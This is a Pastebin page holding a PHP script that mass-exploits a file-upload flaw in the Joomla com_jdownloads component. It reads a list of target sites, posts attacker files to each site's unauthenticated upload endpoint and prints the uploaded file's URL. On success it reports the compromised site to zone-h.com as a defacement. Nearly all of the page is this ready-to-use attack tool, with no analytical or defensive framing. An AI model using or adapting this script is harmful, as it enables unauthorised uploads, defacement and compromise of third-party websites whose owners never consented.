Advertisement
3xploit3r

com_jdownloads

Aug 23rd, 2016
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.50 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. This Tool is coded by Mr.MaGnoM
  5.  
  6. https://www.facebook.com/theprincemagnom
  7.  
  8. Dont change the right of tool
  9.  
  10. http://magsec.blogspot.com/
  11.  
  12. */
  13.  @set_time_limit(0);
  14.    print"
  15.   _     _                     _                 _
  16.  (_) __| | _____      ___ __ | | ___   __ _  __| |___
  17.  | |/ _` |/ _ \ \ /\ / / '_ \| |/ _ \ / _` |/ _` / __|
  18.  | | (_| | (_) \ V  V /| | | | | (_) | (_| | (_| \__ \
  19. _/ |\__,_|\___/ \_/\_/ |_| |_|_|\___/ \__,_|\__,_|___/
  20. |__/ http://magsec.blogspot.com/          By Mr.MaGnoM
  21.  
  22.   ";
  23.  
  24.  
  25. echo "\n";
  26.  
  27. echo "\t ur list of sites : ";$x=trim(fgets(STDIN,1024));
  28.  
  29.     echo "\n";
  30.  
  31. $get=@file_get_contents($x);
  32. $ex=explode("\r\n",$get);
  33. foreach($ex as $mag){
  34.     echo "\t[+] scannign -->".$mag;
  35.     echo jd($mag);
  36. }
  37. function jd($url){
  38.  
  39.      $file1='magsec.zip';
  40.      $file2='magsec.gif';
  41.  
  42.      $bbb='/index.php?option=com_jdownloads&Itemid=0&view=upload';
  43.      $sco=($url).($bbb);
  44.  
  45.     $post=array(
  46.     'name'=>'ur name','mail'=>'hackedby@gmail.com','catlist'=>'1','file_upload'=>"@$file1",'filetitle' =>"lolz",
  47.     'description'=>"<p>zot</p>" ,'2d1a8f3bd0b5cf542e9312d74fc9766f'=>1,
  48.     'send'=>1,'senden'=>"Send file", 'description'=>"<p>qsdqsdqsdqsdqsdqsdqsd</p>",
  49.     'option'=>"com_jdownloads",'view'=>"upload",'pic_upload'=>"@$file2"
  50.     );
  51.     $ch = curl_init ($sco);
  52.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);
  53.     curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  54.     curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT,3 );
  55.     curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36");
  56.     curl_setopt ($ch, CURLOPT_POST, TRUE);
  57.     curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  58.     $data = curl_exec ($ch);
  59.  
  60.     curl_close ($ch);
  61.     $path='/images/jdownloads/screenshots/';
  62.     $final=($url).($path).($file2);
  63.     if(eregi('The file was successfully transferred to the server!',$data)or preg_match("/color=\"green\">/",$data)){
  64.       echo "\n\t\t".'yes -->'.$final."\n";
  65.  
  66.           $ch = curl_init ("http://www.zone-h.com/notify/single");
  67.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  68.     curl_setopt ($ch, CURLOPT_POST, 1);
  69.     curl_setopt ($ch, CURLOPT_POSTFIELDS, "defacer=***&domain1=$final&hackmode=1&reason=1");
  70.     if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch))){
  71.         echo  "\t\tZone-h --> Ok  ". "\n\n";
  72.     }else{
  73.         echo "\t\tZone-h --> No". "\n\n"; }
  74.     curl_close ($ch);
  75.  
  76.  
  77.     }else{
  78.       echo "\n\t\t".$url." --> not infected \n\n";
  79.  
  80.  
  81.     }
  82.     }
  83.  
  84.  
  85. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement